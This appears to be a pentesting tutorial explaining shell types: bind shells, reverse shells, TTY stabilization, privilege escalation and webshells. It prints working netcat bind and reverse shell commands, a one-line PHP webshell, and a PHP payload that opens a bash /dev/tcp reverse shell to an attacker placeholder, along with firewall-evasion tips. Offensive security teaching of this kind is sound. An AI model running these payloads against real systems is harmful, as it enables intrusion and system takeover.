

Introduction to Shells — essential knowledge
Table of Contents
Introduction to Shells
Every operating system has a shell.
It’s not optional. It’s not an add-on. It’s the essential interface that connects human intent to the cold, methodical internals of an OS.
A shell is how we tell the operating system what we want — whether that’s listing files, running scripts, setting permissions, or launching attacks. If you’re doing anything under the hood — especially in security, devops, or pentesting — you’re using a shell.
Today, “terminal” and “shell” are often used interchangeably — but they’re not the same thing.
Let’s untangle it:
- Shell: The command-line interpreter — software that reads your input, parses it, and executes it (e.g., Bash, Zsh, PowerShell).
- Terminal Emulator: The graphical program that opens the window where you type shell commands (e.g., GNOME Terminal, iTerm2, Windows Terminal).
- Old-school “Terminal”: A physical keyboard-and-screen device connected to a mainframe, used to issue commands over serial or network connections.
In the past, a “terminal” meant a machine — now, it just means a window. Same name, totally different reality.
🐚 Meet the Shells
Here are the most common shells you’ll encounter:
- Bash (Bourne Again SHell): Default on most Linux distros. Battle-tested, powerful scripting, vast ecosystem.
- Zsh: A drop-in replacement for Bash with more modern features (like spelling correction, plugin support, and better globbing). Popular with Oh My Zsh users.
- Fish (Friendly Interactive SHell): Focused on usability and scripting simplicity. Great autocompletion, syntax highlighting out of the box.
- PowerShell: Built for Windows (though now cross-platform). Unlike Bash, it’s object-oriented — not just text streams.
- Sh: The original Bourne shell. Minimalist, POSIX-compliant — still used for scripting portability.
Quick tip: You can check which shell you’re running with
echo $SHELL
(Linux/macOS) or$SHELL
in PowerShell (on Windows).
💥 Why Pentesters Care About Shells
For penetration testers, “getting a shell” means one thing: you now control the target system — at least partially. It’s the turning point of most engagements.
There are multiple types of shells you’ll deal with:
- Interactive shell: A prompt you can type into (e.g., after SSH or Netcat connection).
- Webshell: A malicious script uploaded to a web server, letting you run system commands via HTTP.
- Reverse shell: A shell where the target machine connects back to you, usually bypassing firewalls or NAT.
- Bind shell: The opposite — the target machine opens a port and waits for you to connect.
We’ll explore all of these in detail — how to get them, stabilize them, and escalate from them.
Bind Shells — Simple, Loud, Rarely Used
A bind shell is the most straightforward kind of remote shell: the target system opens up a listening port, and you connect to it.
Here’s how it works:
- The target runs a command to bind a shell to a port.
- That port stays open, waiting for your connection.
- You connect from your machine, and — if all goes well — you get an interactive shell.
Netcat in Action (on the Target)
nc -lvnp 4444 -e /bin/bash
-l
: listen mode-v
: verbose-n
: no DNS resolution-p 4444
: bind to port 4444-e /bin/bash
: execute Bash when a connection is made
This command tells the target machine: “Wait for someone to connect on port 4444, and when they do, give them a bash shell.”
Connecting to It (from Attacker Machine)
nc <target-ip> 4444
Once connected, you’re inside — at least with the same privileges as the user running Netcat.
Why You Rarely See Bind Shells in the Wild
Despite being easy to demo in a lab, bind shells are almost never used in real attacks.
Here’s why:
- 🧱 Firewalls: In most environments, inbound connections are blocked by default — you’ll never reach that listening port.
- 👁️🗨️ Noisy: An open port with an active shell listener is easy to detect.
- 🔐 Access Control: Even if the port is open, NAT or internal network segmentation often means you can’t reach it externally.
💡 Reverse shells are far more common because they outbound-connect from the target — usually allowed by firewalls.
Bind shells are important to understand conceptually, but in real pentests, they’re more educational than practical.
Excellent — now we’re entering prime territory: reverse shells, the workhorse of real-world exploitation. This section gives you a full, practical understanding, from evasion to post-exploitation.
Reverse Shells — Your Real Foothold in a Target
If bind shells are the “textbook example,” reverse shells are the actual battlefield tactic.
A reverse shell flips the connection: instead of you connecting to the target, the target connects back to you. This subtle change is what makes them so powerful — and so widely used in real attacks.
Why Reverse Shells Work
Most modern networks block inbound connections (for good reason), but allow outbound ones — for things like HTTP, DNS, or updates.
Reverse shells exploit this:
- You set up a listener on your attacking machine.
- The target system (usually via a payload) initiates an outbound connection to that listener.
- Once connected, it pipes you a shell — often via Bash, Python, or PowerShell.
Netcat Reverse Shell Example (on the Target)
nc <attacker-ip> 4444 -e /bin/bash
You, the attacker, must be listening first:
nc -lvnp 4444
Evading Firewalls
Firewalls typically monitor incoming connections — so a bind shell listener on a server is suspicious and often blocked. But an outbound connection from the server? That usually flies under the radar.
This is why reverse shells:
- Slip through perimeter defenses.
- Work even if the target is NAT’d or inside a corporate LAN.
- Can blend in with legitimate traffic (especially if tunneled over HTTP, HTTPS, or DNS).
✳️ Pro Tip: If a direct connection fails, try tunneling your reverse shell over ports 80 or 443. Better yet, wrap it in HTTPS (e.g., with tools like
ncat
,socat
, or reverse proxies).
Stabilizing the Shell — From Trash to TTY
Raw reverse shells suck.
They’re usually:
- Fragile (one CTRL+C and it’s gone)
- Dumb (no tab completion, broken keyboard input)
- Unusable for running tools like
nano
,ssh
, orsudo
Quick Fix: Upgrade to a Fully Interactive TTY
Once inside, try:
python -c 'import pty; pty.spawn("/bin/bash")'
Then background the shell with CTRL+Z
, and run:
stty raw -echo; fg
then hit enter to return to your target machine’s process.
export TERM=xterm
That gives you tab completion, line editing, and often color support. It’s not perfect — but good enough for most post-ex tasks.
Post-Shell Escalation — Where Things Get Fun
Getting a reverse shell is the beginning, not the end. You usually land with low privileges, so the next step is classic:
- Enumerate the system (find kernel, OS version, writable paths, cron jobs, misconfigured services).
- Look for local privilege escalation vectors:
- Sudo misconfigurations
- SUID binaries
- Exploitable kernel modules
- Credentials in scripts or config files
💥 Privesc tip: Tools like
linpeas.sh
,linux-exploit-suggester
, or manual recon withfind
,grep
, andps aux
will save hours.
Once you escalate to root (or SYSTEM on Windows), you own the box.
Webshells — When RCE Hides in Plain Sight
A webshell is a script — often written in PHP, ASPX, JSP, or even Python — uploaded to a vulnerable web server to give you command execution via a web interface.
Think of it as a remote shell disguised as a webpage.
Typical Use Case
You exploit a file upload vulnerability (or a misconfigured app), drop a webshell, and use your browser or a tool like curl
or burp
to interact with it.
Basic PHP Webshell Example
<?php system($_GET['cmd']); ?>
Saved as shell.php
, you access it like this:
http://<target-ip>/uploads/shell.php?cmd=whoami
This runs
whoami
on the server, returning the result in your browser. You can now execute any system command, line by line.
Webshells: Stealthy or Noisy?
It depends:
- ✔️ Stealthy if embedded in an existing app, obfuscated, or access-controlled.
- ❌ Noisy if dropped into
/uploads/
asshell.php
and hammered with requests from a single IP.
🛡️ Blue team alert: Webshell traffic stands out in logs. Tools like
mod_security
or EDRs can catch them fast — unless you cloak them well.
From Webshell to Reverse Shell
The ultimate goal of a webshell isn’t just running ls
— it’s getting interactive control.
That means:
- Use the webshell to issue a reverse shell command (Netcat, bash, etc.).
- Catch it with your listener (
nc -lvnp 4444
). - You’re now in a full shell, ready to stabilize and escalate.
<?php system("bash -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'"); ?>
Drop that into your webshell or exploit payload, and if the firewall allows outbound traffic, you’re in.
Conclusion — The Shell is Your Starting Line
Bind shells, reverse shells, webshells — all different routes to the same goal: a command line on the target.
Here’s what you now understand:
- 🧠 Why bind shells are simple but outdated.
- 🚪 How reverse shells bypass firewalls and give you a real foothold.
- 🌐 When and why to use webshells in web-based attack surfaces.
- 🔧 How to stabilize and escalate once you’re inside.
A shell isn’t the end of an engagement — it’s the beginning of real access. What you do after defines your skill.
Next time we’ll dig into payload delivery, post-exploitation, and how to chain shell access into total system compromise.
📌 Every shell tells a story. Make sure yours ends with root.